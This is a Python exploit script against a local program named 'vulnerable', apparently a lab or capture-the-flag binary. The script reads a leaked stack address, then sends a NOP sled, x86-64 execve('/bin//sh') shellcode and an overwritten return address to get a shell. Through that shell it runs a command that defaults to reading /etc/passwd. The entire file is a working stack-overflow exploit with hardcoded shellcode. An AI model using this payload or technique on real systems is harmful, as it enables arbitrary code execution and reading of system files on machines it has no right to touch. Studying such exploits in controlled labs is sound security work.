#!/usr/bin/env python3
"""Launch vulnerable, read leaked buf addr, send shellcode, run a command."""

import subprocess
import struct
import sys
import os
import select
import pty
import termios
import tty

SHELLCODE = (
    b"\x48\x31\xf6"              # xor    rsi, rsi
    b"\x56"                      # push   rsi
    b"\x48\xbf\x2f\x62\x69\x6e"  # movabs rdi, "/bin//sh"
    b"\x2f\x2f\x73\x68"
    b"\x57"                      # push   rdi
    b"\x54"                      # push   rsp
    b"\x5f"                      # pop    rdi
    b"\x6a\x3b"                  # push   59 (execve)
    b"\x58"                      # pop    rax
    b"\x99"                      # cdq    (rdx = 0)
    b"\x0f\x05"                  # syscall
)

BUF_SIZE = 64
RBP_SIZE = 8
WRAPPER = ["qemu-x86_64"] if os.uname().machine != "x86_64" else []


def readline_fd(fd):
    line = b""
    while True:
        ch = os.read(fd, 1)
        if not ch:
            break
        line += ch
        if ch == b"\n":
            break
    return line


def main():
    target = sys.argv[1] if len(sys.argv) > 1 else "./vulnerable"
    cmd_to_run = " ".join(sys.argv[2:]) if len(sys.argv) > 2 else "cat /etc/passwd; echo DONE"

    master_fd, slave_fd = pty.openpty()

    # Set slave to raw mode: disable echo, disable control-char processing
    # so that shellcode bytes (especially 0x0f) pass through unmolested
    slave_attrs = termios.tcgetattr(slave_fd)
    slave_attrs[3] = slave_attrs[3] & ~termios.ECHO  # disable echo
    slave_attrs[6][termios.VMIN] = 1
    slave_attrs[6][termios.VTIME] = 0
    # Disable special char processing: ISIG (signals), ICANON (canonical mode)
    slave_attrs[3] = slave_attrs[3] & ~(termios.ISIG | termios.ICANON)
    termios.tcsetattr(slave_fd, termios.TCSANOW, slave_attrs)

    proc = subprocess.Popen(WRAPPER + [target],
                            stdin=slave_fd, stdout=slave_fd, stderr=subprocess.STDOUT,
                            close_fds=True, preexec_fn=os.setsid)
    os.close(slave_fd)

    # Step 1: read leaked buf address
    line = readline_fd(master_fd)
    buf_addr = int(line.decode().strip(), 16)
    print(f"[*] buf @ {hex(buf_addr)}", file=sys.stderr)

    # Step 2: build and send exploit
    nop_sled = b"\x90" * 32
    pad_len = BUF_SIZE - len(nop_sled) - len(SHELLCODE)
    payload = nop_sled + SHELLCODE + b"A" * pad_len + b"B" * RBP_SIZE
    payload += struct.pack("<Q", buf_addr) + b"\n"

    os.write(master_fd, payload)

    # Step 3: consume "Got: ..." garbage
    readline_fd(master_fd)

    # Step 4: send command + exit
    os.write(master_fd, (cmd_to_run + "\nexit\n").encode())

    # Step 5: dump output
    import time
    time.sleep(0.5)
    output = b""
    while True:
        r, _, _ = select.select([master_fd], [], [], 1)
        if not r:
            break
        try:
            chunk = os.read(master_fd, 4096)
            if not chunk:
                break
            output += chunk
        except OSError:
            break

    sys.stdout.buffer.write(output)

    proc.kill()
    proc.wait()


if __name__ == "__main__":
    main()